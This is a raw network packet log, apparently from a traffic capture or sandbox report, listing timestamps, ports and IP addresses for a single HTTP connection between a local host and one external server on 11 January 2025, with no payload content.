Jan 11, 2025 01:15:56.316622972 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316636086 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.316812038 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.316812038 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.317477942 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317488909 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317502975 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317513943 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317526102 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317537069 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317548990 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.317575932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.317575932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.317575932 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.317642927 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.318394899 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318407059 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318418026 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318430901 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318442106 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318449974 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.318454027 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318468094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.318496943 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.318542957 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.319227934 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319245100 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319257021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319267988 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319278955 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319284916 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.319292068 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319309950 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.319340944 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.319340944 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.319364071 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.320084095 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320096016 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320107937 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320120096 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320175886 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.320175886 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.320627928 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320641994 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320653915 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320666075 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320677996 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320691109 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320702076 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.320703983 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.320766926 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.321523905 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.321536064 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.321547985 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.321558952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.321566105 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.321568966 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.321695089 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.326172113 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.335047007 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.335125923 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.335135937 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.335146904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.335336924 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.335336924 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.349567890 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.370417118 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370429039 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370445967 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370465040 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370482922 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370492935 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370503902 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370516062 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370527983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.370527983 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.370606899 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370626926 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370637894 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.370699883 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.370699883 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.370699883 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404333115 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404407978 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404467106 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404556990 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404584885 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404617071 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404634953 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404658079 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404684067 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404709101 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404712915 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404740095 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404764891 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404786110 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404793024 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404804945 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404819965 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404840946 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404848099 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404891014 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404918909 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404947042 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.404967070 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.404967070 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439351082 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439367056 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439378023 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439399004 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439408064 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439419031 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439438105 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439449072 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439460039 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439476013 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439480066 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439517021 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439521074 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439553022 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439558029 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439558029 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439649105 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439661980 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439711094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439744949 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439745903 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439786911 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439815998 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439838886 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439866066 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439873934 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.439929962 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.439966917 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440030098 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440064907 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440079927 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440100908 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440135956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440190077 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440200090 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440239906 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440241098 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440299988 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440335989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440341949 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440371037 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440406084 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440458059 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440507889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440546989 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440546989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440546989 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440582991 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440618992 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440685034 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440685034 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440694094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440747023 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440790892 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440798044 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440835953 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440871000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440892935 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440907001 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440941095 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.440951109 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.440975904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441009045 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441025972 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441046000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441080093 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441113949 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441117048 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441148043 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441185951 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441186905 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441221952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441257000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441257954 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441291094 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441323996 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441358089 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441391945 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441425085 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441432953 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441432953 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441432953 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441458941 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441493034 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441526890 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441560984 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441597939 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.441603899 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441603899 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.441675901 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444410086 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444446087 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444483042 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444513083 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444511890 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444607973 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444629908 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444643021 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444679976 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444688082 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444716930 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444751024 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444785118 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444819927 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444829941 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444829941 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444855928 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444890976 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444925070 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.444933891 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.444978952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445008993 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445018053 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.445044041 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445080042 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445087910 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.445115089 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445149899 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445156097 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.445188046 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445190907 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.445225000 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445262909 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445298910 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.445488930 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.445488930 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.449193954 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.461124897 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461184978 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461236954 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461272001 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461307049 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461314917 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.461338997 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.461344004 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461380959 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.461452007 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.494865894 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.494921923 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.494955063 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.494971037 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.494990110 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495026112 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495060921 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495085955 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495085955 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495095968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495132923 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495146990 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495450020 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495491982 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495526075 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495578051 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495631933 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495632887 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495666981 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495702982 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495735884 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495771885 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495780945 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495780945 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495807886 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495842934 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495856047 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.495879889 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495914936 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495949030 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.495984077 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.496130943 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.496130943 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.500823021 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529633045 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529652119 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529664040 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529676914 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529690027 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529707909 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529730082 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529742956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529747009 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529762030 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529774904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529787064 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529798031 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529809952 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529823065 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529827118 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529827118 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529827118 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529827118 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529839993 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529865980 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529872894 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529872894 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529877901 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529891968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529905081 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529922009 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529931068 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529936075 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529948950 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529954910 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.529978991 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.529990911 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530028105 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530028105 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530034065 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530045986 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530059099 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530075073 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530086994 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530100107 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530108929 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530108929 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530113935 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530122995 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530150890 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530241966 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530253887 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530266047 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530317068 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530328989 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530339956 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530344009 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530355930 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530364037 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530371904 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530376911 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530436993 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530461073 CET	49711	80	192.168.2.3	193.143.1.205
Jan 11, 2025 01:15:56.530488968 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530580044 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530591965 CET	80	49711	193.143.1.205	192.168.2.3
Jan 11, 2025 01:15:56.530602932 CET	80	49711	193.143.1.205	192.168.2.3
